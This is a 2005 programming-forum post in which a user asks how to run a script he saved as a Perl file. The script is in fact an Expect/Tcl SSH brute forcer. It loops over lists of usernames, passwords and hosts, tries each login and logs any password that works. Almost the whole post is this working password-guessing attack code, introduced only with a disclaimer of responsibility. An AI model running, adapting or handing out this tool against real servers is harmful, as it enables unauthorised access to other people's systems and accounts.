Thread: Is this Perl
View Single Post
Old Aug 21st, 2005, 6:08 PM   #1
ProjectX
Programmer
 
ProjectX's Avatar
 
Join Date: Feb 2005
Posts: 37
Rep Power: 0 ProjectX is on a distinguished road
Is this Perl

How do i run this code. I tried C:\>perl -w SSH.pl(this is what i called the file) and I got n error.

#!/usr/bin/expect -f
#
# Written by James Shanahan
(jshanahan@comcastpc.com)
# and Erin Palmer(epalmer@comcastpc.com)
# ssh brute forcer
# This will alow you to specify hosts, password
lists, and a user
# I do not take any reponsibilty for what you do with
this tool
# Hopefully it will make your life easier rather then
making other
# peoples lives more difficult!
     
set timeout 5
set dictionary [lindex $argv 0]
set file [lindex $argv 1]
set user [lindex $argv 2]

if {[llength $argv] != 3} {
   puts stderr "Usage: $argv0 <dictionary-file> <hosts-
file> <user-file>\n"
   exit }

set tryHost [open $file r]
set tryPass [open $dictionary r]
set tryUser [open $user r]

set passwords [read $tryPass]
set hosts [read $tryHost]
set login [read $tryUser]

foreach username $login {
foreach passwd $passwords {
foreach ip $hosts {
spawn ssh $username@$ip
expect ":"
   send "$passwd\n"
set logFile [open $ip.log a]
expect "L" {
puts $logFile "password for $username@$ip is
$passwd\n"
close $logFile
}
set id [exp_pid]
exec kill -INT $id
}
    }
}
ProjectX is offline   Reply With Quote